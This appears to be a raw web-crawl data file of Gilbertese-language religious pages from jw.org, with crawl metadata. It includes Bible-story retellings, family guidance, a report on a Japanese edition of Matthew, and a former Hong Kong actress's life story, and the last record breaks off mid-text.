taamnei ae raoiroi nakon te tembora ike e a noriia iai Ioteba ao Maria ma natiia te mwaane ae te merimeri. E anaa te teei Timeon ao e bwabwakoia.\nE karabwaa te Atua Timeon ngke e bwabwakoa Iesu ni kangai: \"Te Uea ae Moan te Rietata, ko na kariaia ngkai am toro bwa e na nako ni motirawa i nanon te raoi ni kaineti ma am taeka, bwa a a tia matau n nora teuare e na uota te kamaiu are ko katauraoia i mataia aomata ni kabane, ae te oota ibukini kakeaan te rotongitong mairouia natannaomata, ae tamaroaia am aomata ake tibun Iteraera.\"—Ruka 2:29-32.\nA mimi Ioteba ao Maria ngke a ongo aei. E kakabwaiaia naakai Timeon ao e taku nakoni Maria bwa e na riki natina \"bwa bwakaia ao manga teirakeia tibun Iteraera aika bati,\" ao e na karawawataaki neiei n ai aron ae e ewaraki n te kabaang ae kakang.—Ruka 2:34.\nIai riki temanna ae roko naba n te bong aei. Bon te burabeti n aine ae Ana ae 84 ana ririki. E a bon roroko naba n te tembora. N te tai aei ao e a nakon Ioteba, Maria, ao te teei are Iesu. E kaitaua te Atua Ana ao n taekina taekan Iesu nakoia ake a ongora ni kabane.\nKo kona n iangoa aroni kimwareirein Ioteba ao Maria ni baika riki aikai n te tembora! Ni koauana, a riki baikai ni kabane bwa a na kakoauaa ae natiia bon Teuare Beritanaki iroun te Atua.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/baika-riki-ni-karokoa-ana-mwakuri-ni-minita-Iesu\/te-nati-iesu-tembora\/","date":"2018-01-23T21:55:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892699.72\/warc\/CC-MAIN-20180123211127-20180123231127-00028.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":508,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tangira bon te kawai ibukini karekean te kukurei n te utu. I-Ebeto 5:33\nE riai te mare i marenan te mwaane ao te aine ae tii temanna, n aron ae taekinaki n ana kaetieti te Atua.\nE karaoa ae riai nakoni buuna te buu te mwaane ae tatangira, ao e irianna ma te akoi ao ataakini baike e kainnanoi.\nE riai te buu te aine ni buoka buuna.\nA riai ataei n ongeaba irouia aia karo.\nBwaina te akoi ao te kakaonimaki, ma tiaki te iowawa ao te aki kakaonimaki. I-Korote 3:5, 8-10\nE taekinaki n Ana Taeka te Atua bwa e riai te buu te mwaane n tangira buuna n arona n tangiria i bon irouna, ao ai arona naba bwa e riai te buu te aine ni karinea buuna.\nE aki kariaiakaki te wene n taanga i tinanikun te mare. E aki naba kariaiakaki kabatiaan te buu ni mare.\nA reiakinaki utu nako n Ana Taeka Iehova, aroia ni karekea te kukurei.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ongeaba-ao-maiu\/ko-na-kanga-ni-karekea-te-kukurei-n-am-utu\/","date":"2018-01-18T22:35:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887621.26\/warc\/CC-MAIN-20180118210638-20180118230638-00671.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":162,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N TE botaki ae okoro i Nagoya i Tiaban n Eberi 28, 2013 ao e kamimia taan ongora Anthony Morris ae kaain te Rabwata n Tautaeka n te katanoata ae rangi ni kakaongora ni kaineti ma otinakon te boki ae boou n te taetae n Tiaban ae The Bible—The Gospel According to Matthew. A butimwaea te katanoata aei taan ongora aika 210,000 tabun ake a roko ke rinanon te intanete n aia uboubo ae moan te maan.\nE okoro te boki ae Ana Euangkerio Mataio ae 128 iteranibaana are e a manga boreetiaki man te New World Translation n te taetae n Tiaban. E kabwarabwaraa Brother Morris bwa e katauraoaki ibukini \"kaitaraani baika a kainnanoi kaain Tiaban.\" Baikara kanoana? Tera bukini katauraoana? Ao tera aroni butimwaeana irouia aomata?\nBAIKARA KANOANA?\nA mimi iai taan ongora n tein te boki ae Matthew. A kona ni koreaki manin taeka n Tiaban n etirake ke n tei n rara ao a boreetiaki tabeua n ikotaki naba ma aika ngkai, a koreaki ni manna aika a tei n rara. Ma e ngae n anne, e koreaki te boto n iango n te boki ae boou aei n etirake, ike e a kabonganaaki iai te koroboki n Tiaban ae rangi n ataaki n nuutibeeba ao booki. A bati taani wareware aika kaain Tiaban ake a iangoia bwa e bebete te wareware iai. Irarikin anne, a karinaki atun iteranibaana n te boto n iango n te kaongora bwa atuni mwakorokorona bwa e aonga ni kona ni kai nori baika kakawaki te tia wareware.\nA waekoa taari i Tiaban ni kamanena raoi kanoan te boki ae Matthew. E taku temanna te tari te aine ae 80 tabun ana ririki: \"I a tia ni wareka te boki ae Matthew n taai aika bati rimoa,\" ma I buokaki n teini korobokiana ae etirake ma atuni mwakorona nako bwa N na ota raoi riki n te Kabwarabwara i aon te Maunga.\" E korea ae kangai te tari te aine ae te roro n rikirake: \"I wareka te boki ae Matthew ni kabane n tii te taina. I bon taneiai ma tein te koroboki ae tei n rara, ma a bati kaain Tiaban aika a tangira riki te koroboki ae etirake.\"\nE KATAURAOAKI IBUKIA KAAIN TIABAN\nBukin tera bwa te boki ae tii teuana aei e na kaaitarai riki kainnanoia kaain Tiaban? E ngae ngke a bati kaain Tiaban aika a aki taneiai ma te Baibara, ma a bon ingainga ni warekia. E a reke angaia naake a tuai man nonora te Baibara n taua mwakoron te boki ae tabu aei i nanoni baia ma ni wareka te Euangkerio ae Mataio.\nBukin tera bwa e rineaki te boki ae Mataio? Ngkana a ongo kaain Tiaban te taeka ae \"Baibara,\" a a bon uringa iai Iesu Kristo. Ai ngaia are e rineaki te boki ae Mataio, ibukina bwa iai i nanona rongorongoni kateirikian ao bungian Iesu, ana Kabwarabwara i aon te Maunga ae rangi n ataaki ao ana taetae ni burabeti aika mataata ibukini kabaneani boong. Aikai reirei ake a na kakaongora nakoia kaain Tiaban aika bati.\nA ingainga nanoia taani uarongorongoa te Tautaeka n Uea i aon Tiaban ni moanakin tibwaan te boki ae boou man te auti teuana ma teuana ao ni manga okiraia aomata naba. E korea ae kangai te tari te aine: \"E a bati riki ngkai au tai n angania aomata Ana Taeka te Atua n ara aono. \"Ni koauana, I angania aomata katoton te boki ae Matthew ni bwakantaain naba te botaki anne!\"\nTERA AROIA AOMATA NI BUTIMWAAIA?\nTera aroia taan uarongorongo ni kabwarabwaraa te boki ae Matthew? A bati kaain auti i Tiaban aika a taneiai ma aeka n taeka aika \"te mataroa ae wariki,\" \"moomin te bwaeao i mataia beeki\" ao \"tai iango n raraoma ngkanne ibukin ningabong.\" (Mat. 6:34; 7:6, 13) A mimi ngke a a ataia ae taeka aikai bon ana taeka Iesu Kristo. Ngke a nori taeka aikai n Ana Euangkerio Mataio, a a bati ake a kangai: \"I a kamani kani wawareka te Baibara n tii te taina.\"\nNgke a a manga okiriia ake a butimwaea te boki ae Matthew taan uarongorongo, a aki toki n taekinna kaain auti bwa a wareki naba ngkekei tabeua kanoana ma tiaki ni kabane. E taku te mwaane ae 60 tabun ana ririki nakon te tia uarongorongo temanna: \"E bati au tai n okioki ni warekia ao I a kabebeteaki iai. Taiaoka ma reireinai ae bati riki ni kanoan te Baibara.\"\nE a kaatuuaki riki uarongorongoan te boki ae Matthew n te uarongorongo nakoia aomata nako. Ngke e uataboa te mwakuri anne te tia uarongorongo temanna, e bon anganako ana atureti n te intanete neiei nakon te aine are e butimwaea te boki ae Matthew. Teuana te aoa imwina, e a kororeta te aine anne nakon te tari aei ao e kaotia ae e a tia ni wareka mwakoroni bokin te Baibara anne ao e kan reiakina ae bati riki. Teuana te wiki imwina, e a moana ana reirei n te Baibara, ao e a waekoa n iririi bobotaki.\nE raka i aon 1,600,000 katoton te boki ae The Bible—The Gospel According to Matthew ake a a tia ni katokaaki ni kaibuke n tibwaaki nakon ekaretia nako i aon Tiaban. A anganaki aomata mwaitini katotona ae bubua ma bubua te nga ni katoa namwakaina. N te kabwarabwara ni moan te boki aei, e a kaotaki iai aia iango taani boreeti ae kangai: \"Ara kantaninga bwa ni warekan te boki aei, e a kakorakoraaki riki iai kan reiakinan te Baibara iroumi.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150215\/bwaintangira-ae-kamimi-nakoia-i-tiaban\/","date":"2018-01-23T09:16:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891791.95\/warc\/CC-MAIN-20180123072105-20180123092105-00128.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":916,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) November 2015\nE mena n te kaongora aei kaongora ibukin te reirei ibukin Ritembwa 28, 2015, nakon Tianuare 31, 2016.\nAroaron Iesu aika tenua ake e kamanenai n ana angareirei a kona ni buokiko bwa e na uaana riki am reirei ni kataneiai nakoia natim.\nKo na kangaa ni buoka natim ae tebwi tabun ana ririki bwa e na kamanena te tai are e a ikawai riki iai bwa ana tai n rikirake n te onimaki?\nTera te bwai ni kakoaua n tauan te kaawa rimoa ae Ieriko bwa e niniaki n te tai ae kimototo?\nE kaotaki n te Baibara te nano ae riai ao ae aki ibukin arora n anga ara tai, korakorara, ao kaubwaira.\nE kangaa Iehova ni kaota tangiraia aomata?\nKo kona ni maiuakina ana tua Iesu n am mare, n am ekaretia, ao n am mwakuri n uarongorongo.\nBaikara aanga aika tenua aika ti kataubobongaaki iai n uarongorongoa Ana Tautaeka n Uea te Atua?\nRONGORONGORA RIMOA\nTaan uarongorongo aika kabwanina aia tai i Buranti n 1930 tabun a ururingaki ingaingaia ao nanomwaakaia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20151115\/","date":"2018-01-23T09:11:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891791.95\/warc\/CC-MAIN-20180123072105-20180123092105-00142.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":177,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kairaki Iesu iroun taamnein te Atua nakon rereuan Iutaia imwin raoi bwabetitoana iroun Ioane. E bati baike e na iangoi bwa ni bwabetitoana ao e \"kaukaki karawa\" nakoina. (Mataio 3:16) Ngaia are e a kona n uringi baike e reiakin ao ni karaoi i Karawa. E boni bati baike e na kananoi ana iango iai!\nE kabanea 40 te bong ao 40 te ngaina Iesu n te rereua. E bon aki amwarake i nanon taai akanne. Ao ngke e a bora ni baki ao e a kawaria Tatan te Riaboro bwa e na kariria ao e taku: \"Ngkana ngkoe temanna natin te Atua, ao tuangia atibu aikai bwa a na riki bwa taian amwarake.\" (Mataio 4:3) E ataia ae e kairua kamanenaani mwaakana ni baike e kainnanoi ni maiuna, ngaia are e aki kariaia kaririana.\nE aki toki te Riaboro ikanne, ma e kataa te anga riki teuana. E kataa Iesu bwa e na ewenako mai aon oon te tembora. Ma e bon aki iraraang ni karaoa te bae rangi ni kamimi aei. E mwanewei taeka ake n te Baibara ni kaotia bwa e kairua kataakin te Atua n te aro aei.\nNi kataakina ngkanne are te katenua ao e kaotii nakon Iesu \"tautaeka n uea nako n te aonnaba ma tamaroaia\" ao e taku: \"N na anganiko baikai ni kabane ngkana ko katorobubua ni bobaraaki n taromauriai n tii teuana te tai.\" E bon teimatoa naba n rawa Iesu ao e taku: \"An naako Tatan!\" (Mataio 4:8-10) E aki kariaia bwa e na karaoa ae kairua, ngkai e ataia ae e riai n toro iroun Iehova n tii ngaia. Eng, e rineia bwa e na kateimatoa kakaonimakina nakon te Atua.\nTi kona ni karekea reireiara ni kataakin Iesu aikai ao n arona ni kaeka nako iai. A boni koaua ana kariri te Riaboro are e oti iai bwa bon tiaki te buakaka ngaia n aron are a taku tabeman. Bon te aomata raoi ngaia ae aki kona n noraki. E kaotaki naba n te rongorongo aei bwa bon ana bwai te Riaboro tautaeka n te aonnaba aei ao boni ngaia ae taua arona. E na kangaa n riki bwa te kariri nakoni Kristo, ngkana bon tiaki ana bwai te Riaboro?\nIrarikin anne, e taekinna te Riaboro nakon Iesu bwa e tauraoi n anganna tautaeka ni kabane n te aonnaba ngkana e bobaraaki n taromauria. E kona naba ni karirira te Riaboro n aron anne, tao ni kamenai imwaira aanga ake ti kona ni karekea iai kaubwain te maiu aei, te mwaaka, ke te kakannato. Ai wanawanara ngaira ngkana ti kakairi n ana katoto Iesu, ni kateimatoa kakaonimakira nakon te Atua n aki ongeia bwa tera te kariri! Ma uringnga bwa e kitanaki Iesu iroun te Riaboro ao n \"taningaa reken te tai ae angaraoi.\" (Ruka 4:13) E kona n riki aekakin anne nakoira, ngaia are ti aki riai ni kaaki kamanoara.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/moanakin-mwakuri-ni-minita\/kaaitarai-kataakina\/","date":"2018-02-22T07:01:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814036.49\/warc\/CC-MAIN-20180222061730-20180222081730-00378.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":477,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A TITIRAKINA IESU TAAN RIMWIN IOANE IBUKIN TE AKI MAMATAM\nE kabureaki Ioane te tia Bwabetito tabeua te tai imwini kaean te Toa ae te Riao iroun Iesu n 30 C.E. E tangiriia taan rimwina Ioane bwa a na riki bwa taan rimwin Iesu, ma a aki bane ni karaoa anne n namwakaina ake imwini kaburean Ioane.\nNgkai e a uakaan te Toa ae te Riao n 31 C.E., ao a kawara Iesu taan rimwin Ioane, n titirakinna ni kangai: \"E aera ngkai ti kakaraoa te aki mamatam ao a kakaraoia naba Baritaio, ma a aki kakaraoia taan rimwim?\" (Mataio 9:14) A karaoa te aki mamatam Baritaio ae kakaraoaki n aia Aro. Imwina riki ao e kabongana te kaikonaki Iesu n taekina te Baritaio are baka n raoiroi are e tataro ni kangai: \"Te Atua, I kaitauko ngkai tiaki aroia aomata nako ngai, . . . I aki mamatam uoua te tai n te wiki.\" (Ruka 18:11, 12) A bae naba n aki mamatam taan rimwin Ioane ngkai bon te katei. Ke tao a aki mamatam bwa a nanokawaki ni kaburean Ioane. A mimi naba taan rimwin Ioane ngkai a aki kakaraoa te aki mamatam taan rimwin Iesu, tao n uataboa te nanokawaki n te bwai are e karaoaki nakon Ioane.\nE kaekaia Iesu ni kabongana te kaikonaki ao e taku: \"A kona n nanokawaki raoraon te tia mare te mwaane ngkai e mena i rarikia? Ma a na roko boong ake e na uotakinako iai te tia mare te mwaane mairouia, ao ngkanne, a nang aki mamatam.\"—Mataio 9:15.\nBon Ioane are e taekina Iesu bwa te tia mare te mwaane. (Ioane 3:28, 29) Mangaia ae a mamatam taan rimwin Iesu ngkai iai Iesu i rarikia. Imwina riki ngke e a mate Iesu, a a nanokawaki taan rimwina ao e a aki rin kanaia. Ma ai korakorara te bitaki ni mangautin Iesu! Ai akea riki te bwai ae a na nanokawaki iai are a na aki mamatam iai.\nImwina ao e a manga taekin Iesu kaikonaki aika uoua ni kangai: \"Akea ae e kona n itua te moti ni kunnikai ae boou i aon te kauaatao ae mane, bwa e na urua te kauaatao ana katikitiki te moti ni kunnikai ae boou, ao e na abwabwaki riki raeuaakina. A aki kona naba aomata n atoa te wain ae boou i nanoni nne ni wain aika bwaai nikawai, bwa ngkana a atoia ao a na raeuaaki, ao e na burinako te wain, ao a na raemengamenga nne ni wain. Ma a atoa te wain ae boou aomata i nanoni nne ni wain aika boou.\" (Mataio 9:16, 17) Tera ae e nanonna Iesu?\nE buokiia Iesu taan rimwin Ioane te tia Bwabetito n ataia bwa akea ae e kona ni kantaningaiia taan rimwin Iesu bwa a na kaboraoi maiuia ma te katei n Iutaia ake ngkoa n aron te aki mamatam. E aki roko bwa e na katamaroai waaki n taromauri ni kawai ake a a bane taia ake a a tauraoi ni kaakiaki. Te taromauri ae kaungaa Iesu tiaki ae boraoi ma te waaki n taromauri n te Aro n Iutaia. E bon aki kataia n itua te moti ni kunnikai ae boou i aon te kunnikai ae mane ke n atoa te wain ae boou nakoni nnen te wain ae e a bwai ni kawai.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/taan-rimwin-Iesu-a-aki-mamatam\/","date":"2018-02-20T02:41:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00098.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":542,"character_repetition_ratio":0.081,"word_repetition_ratio":0.008,"special_characters_ratio":0.24,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te tairiki teuana n 1984, e a reke te bitaki ni maiu man arou ngkoa n roro n rikirake ao n riki bwa temanna ae rangi ni kinaaki. E a katokaaki au bau bwa Miss Hong Kong. E kona n noraki taamneiu ni maekatin ma beeba ni kaongora. I anene, I mwaie, I anga au maroro, I kabwarabwarai baike a oti n te TV, I bwabwaini kunnikai aika rangi n tikiraoi ao n nonoraki naba ma aomata aika kakannato n aron te kowana mai Hong Kong.\nN te ririki are imwina, I a moana au karao birim ao n riki bwa te aekita ni birim ake I karaoi n taai aika bati. A tangira au karaki taani koro rongorongo, a rawea taamneiu taan rawetaamnei, ao a tangirai aomata bwa N na roko ni botaki aika kakannato, N na koro reeben ni kaukan auti ni bitineti aika boou, ni katawanou ao ni katairiki ma ngaiia. I rangi n tatangiraki irouia aomata.\nTeutana imwin teutana, I a kunei baikai bwa a aki manena n aron are I iangoia. I kakaraoi birim aika kakamaaku ao ni kakamataku naba. A aki kamanena aekita i Hong Kong te aeka ni karao birim ae a kakaraoia aekita i Hollywood, ma ngaia are I boni karaoa te birim ae karuanikai n aroni kabutan te rebwerebwe ae buti i aon te kaa. A bati birim ake I aekita iai aika kaota te aroaro ni maiu ae aki riai ao te tiritiri. Ni birim tabeua, a kaotaki iai waaki n tabunea.\nN 1995, I a mare ma te tia kairiri n te karao birim. E ngae ngke a boni bane n reke baika I tangiri ibukini kukureiu n aron te atoatongaki, te kaubwai ao buu ae tatangira ma I bon rawawata ao n nanokawaki naba. I baireia bwa N nang kitana te mwakuri aei.\nURINGAN AU ONIMAKI NGKE I UAREREKE\nI a moanna n uringnga ma te kukurei te onimaki are e a tia n reke irou ngke I uarereke. N te tai anne, ao ni katoa Kaonobong ti kakawara te utu teuana aika Ana Tia Kakoaua Iehova. E kaira te reirei ma ngaira n te Baibara Joe McGrath n ikotaki ma natina aika teniman. Bon te utu ae akoi ma n tatangira, ao e rangi kakarinea buuna ma natina \"Uncle Joe.\" I kukurei naba n iririia nakon aia bobotaki ni Kristian. N tabetai ti kaei bobotaki aika bubura. A bon rangi ni kakukurei taai akanne. I namakinna bwa I kamanoaki ni menau i rarikia taani Kakoaua.\nNi kaitaraan anne, a riki baika a aki kakukurei nakoiu ni mwengau. E rotaki n te nanokawaki ae bati tinau n aroaroni maiun tamau, ao e a rangi ni karawawataaki iai. Ngke tao ai tebwina au ririki, ao e a toki reitakin tinau ma Ana Tia Kakoaua Iehova. I teimatoa n iriri bobotaki ma akea raoi nanou iai ao I a bwabetitoaki ngke 17 au ririki. Ma n te tai ae waekoa, I a irekereke ma aomata aika kakaraoi mwakuri aika bubuaka, ao I a aki rereitaki ma kaain te ekaretia.\nI MOTINNANOIA BWA N NA OKI\nTabeua te tai imwin au mare, a kawarai uoman mataniwi n te ekaretia ae Ana Tia Kakoaua Iehova n au tabo. A kabwarabwaraa arou ni kona n okira Iehova ae te Atua ao ni baireia bwa e na buokai te mitinare ae Cindy. E a boni kekerikaaki korakoran au onimaki n te tai aei, ngaia are I a titirakina neiei bwa e na kakoauaa nakoiu ae te Baibara bon ana Taeka te Atua. E kaotii nakoiu katoton taian taetae ni burabeti aika n te Baibara ake a tia ni koro bukia. Teutana imwin teutana e a rikirake ni kaan ara iraorao, ao e a kaoai bwa ti na reiakini moan reirei man te Baibara. I butimwaea ana kakao ao aei te moantai are I a kakoauaa iai ae Iehova bon te Atua ae tatangira, are e tangirai bwa N na kukurei naba.\nNgke I a moana kaakaeani bobotaki ni Kristian, I kunea bwa I rangi ni kukurei ni memena i buakoia taani Kakoaua nakon are I memena i buakoia aomata n te kambwana ni karao ni birim. Mani baike I rinanona ngke I uarereke, I ataia bwa I a aki kona n onimakinia aomata ao I bon aki naba kukurei iai. E buokai temanna kaain te ekaretia ni kaota arou n tokanikai i aoni kangaanga akanne man te Baibara ao n reiakina naba arou ni kona ni karekeia raao ni koaua.\nTE BAE RAOIROI RIKI NAKON TE ATOATONGAKI\nN 1997 ti a mwaing nako Hollywood i California, U.S.A, ngai ma buu. N te tabo anne, e a rangi ni bati riki au tai ni buokiia aomata bwa a na kakabwaiaaki ni karekean te atatai man Ana Taeka te Atua. E reke irou te raunnano ae bati riki n reiakinaia aomata n te Baibara nakoni kinaakiu bwa te aekita n taiani birim. N te katoto, n 2002 I a manga kaitiboo ma Cheri ae raoraou i Hong Kong. Bon titeboo aroarora ni baike ti rinanoi ni maiura. E a tia naba n riki bwa Miss Hong Kong n te ririki are mai imwaina. Ni koauana, boni ngaia ae katokaa au bau ngke I tokanikai. E riki naba bwa te aekita ao imwina e riki bwa te tia kairiri n te karao birim ao e mwamwakuri ma taani kairiri aika rangi ni kinaaki. E a tia naba ni mwaing nako Hollywood.\nI nanoangaa Cheri n ataakin ae e a tia ni mate ana kabae ngke e waekoa n toki buroona. E aki kona n reke raun nanona man ana Aro ae te Buddhist. E a tia ni karekea atoatongana n arou naba ae te aroaro are a kani karekea naba tabemwaang, ma e bon nanokawaki ao e aki kona n onimakina temanna. I a tibwaa nakoina te baere I a tia n reiakinna man te Baibara, ma e kangaanga butimwaeana irouna ni kaineti ma baike e maiuakini n ana Aro ae te Buddhist.\nN te tai teuana n 2003, e a tareboniai Cheri mai Vancouver i Kanata ae te tabo are e karao birim iai. E ingainga ni kaongoai bwa e a tia ni buti n ana kaa ao ni mamataku i tinanikun te kaawa n te tabo ae kantara ngke e a bon tataro naba ni kabaibati ni kangai: \"Tuangai, Antai te Atua ni koaua? Antai aram?\" Ngke e buti rirarikin te Tabo n Taromauri n te tai anne ao e a nora naba aran Iehova. E iangoia bwa anne te kaeka mairoun te Atua, ao e a tangiria ni kaitiboo ma Ana Tia Kakoaua Iehova n te tai ae waekoa. I nanon tabeua te bong, I a karaoa au babaire ibukin neiei ao e a kaea te botaki n te ekaretia n te taetae n Tiaina i Vancouver.\nE kaongoai imwina Cheri bwa \"a rangi tabeakinna raoi aomata aikai. I kona n tuangia aron au namakin.\" I rangi ni kukurei n ongoraea anne ibukina bwa ngke e kaaina te kambwana ni karao birim Cheri, ao bon akea raoraona. E teimatoa Cheri ni kaakaei bobotaki. Ma n 2005, e a tiaina te boraraoi ibukini karaoani birim aika uoua n rongorongo aika kakawaki i Tiaina, are e a reke iai angana n okira Hong Kong. E kakukurei bwa n 2006, e a katabua maiuna Cheri nakon Iehova ao ni bwabetitoaki n aia botaki taani Kakoaua i Hong Kong. E ngae ngke e kani kabatiaa ana tai ni beku ibukin Iehova, ma e kangaanga karaoan aei ibukin ana mwakuri n te kambwana ni karao birim ao e bon aki kukurei iai.\nTE KIMWAREIREI NI BUOKAIA AOMATA\nN 2009, a bitaki baika riki ni maiun Cheri. E baireia bwa e na kitana te kambwana ni karao birim bwa e aonga ni bati ana tai ni beku ibukin Iehova. A a reke raoraona aika bati n te ekaretia ni Kristian. E a riki bwa te tia uarongorongo ae kabwanina ana tai ibukin te Tautaeka n Uea ao e rangi ni kukurei ni buokiia aomata ni karekea te maiu ae raoiroi.—Mataio 24:14.\nImwina e a iangoia Cheri bwa e na reiakina te taetae n Nepal ibukini buokaia taani Kakoaua aika kaain Nepal ae rikirake mwaitiia i Hong Kong ake a kamanena te taetae aei. I riai n taekinna bwa angiia kaain Nepal i Hong Kong, a tinanikuaki ke a riribaaki ibukin aki kamanenaan te taetae n Ingiriti ke te taetae n Tiaina, ao ibukina ngke e kaokoro aia katei. E kaongoai Cheri bwa e rangi ni kimwareirei ni buokiia aomata aikai bwa a na ota n te Baibara. N te katoto, n te bong teuana ni kawaran te auti teuana ma teuana, e a kaitiboo ma te aine ae kaain Nepal are e uarereke ana atatai ibukin Iesu, ma ai bon akea riki ana atatai ibukin te Atua ni koaua ae Iehova. E kamanena te Baibara Cheri ni kaotia ae tataro Iesu nakon Tamana are i karawa. Ngke e a ataia te aine aei bwa e kona n tataro nakon te Atua ni koaua ae arana Iehova, e a kauka nanona ni butimwaea te rongorongo ae raoiroi. Imwina a manga reirei n te Baibara buuna ao natina te aine.—Taian Areru 83:18; Ruka 22:41, 42.\nNgke I a noria bwa e rangi ni kimwareirei Cheri ni kabwanina ana tai n uarongorongo, ao I a titirakinai, 'Bwa tera ae tukai mani karaoan te baere e karaoia?' I maeka naba i Hong Kong n tai aei ao I a iangoia ni bita aroaroni maiu ni kabatiaa riki au tai n reiakinia aomata te koaua man te Baibara. I kunea bwa e reke te kakukurei ni koaua n te kakauongo raoi nakoia aomata ao ni buokiia n ota n Ana Taeka te Atua.\nI kunea bwa e reke te kakukurei ni koaua mani buokaia aomata n ota n Ana Taeka te Atua\nN te katoto, I a tia n ibuobuoki n reiakina te Baibara ma te aine ae kaain Vietnam are e taonaki n n taai nako n te rawawata, ao e a bon teimatoa naba n nananokawaki . E a kona n noraki ngkai bwa e a kukurei ni maiuna ao ni kimwareirei ni bobotaki ma kaain te ekaretia.\nTi a tia ni kunea ngai ma Cheri te bae raoiroi riki nakon te atoatongaki. E ngae ngke e kakukurei te mwakuri n te kambwana ni karao birim ae karikira bwa e na tanoata taekara, ma e rangi ni karaunano riki reiakinaia aomata taekan Iehova ae te Atua bwa e neboaki iai. Ti a tia n ataa koauan ana taeka Iesu ae kangai: \"E kakukurei riki te anga nakon te anganaki\"—Mwakuri 20:35.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150901\/mina-hung-godenzi-rongorongoni-maiuna\/","date":"2018-02-26T04:39:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817999.51\/warc\/CC-MAIN-20180226025358-20180226045358-00058.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1753,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Teuare te tia Korea te Baibara ao te tia Karaoia boni ngaia naba te tia Kawakinna. Boni Ngaia ae kairi korean taeka aikai:\n\"E teimatoa n aki toki ana taeka Atuara.\"—Itaia 40:8.\nE boni koaua te taeka anne, e ngae naba ngkai ai akea ni boong aikai te moani koroboki are e koreaki iai te Koroboki ae Tabu n te Taetae n Ebera ao n Aramwaike * ke te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti. Ngaia are ti na kangaa ni koaua raoi ngkanne bwa kanoan te Baibara ae iroura ngkai, e bon rairi raoi koroboki ake e moani koreaki iai kanoan te Baibara ae e kairaki koreana rinanon te taamnei?\nA KAWAKINA ANA TAEKA TE ATUA TAANI KAEWEWE\nNi kaineti ma te Koroboki ae Tabu n te Taetae n Ebera, ao e irekereke kaekaan te titiraki anne ma te katei rimoa ae mairoun te Atua, are e tua bwa e riai ni kaeweaki te koroboki ae tabu. * N te katoto, e tua Iehova nakoia uean Iteraera bwa a na kaewea te Tua ae e na riki bwa oin aia bwai. (Te Tua-Kaua 17:18) Ao e kabaeia naba tibun Rewi te Atua bwa a na kawakina te Tua ma ni kateimatoa, ao a na reireinia iai aomata. 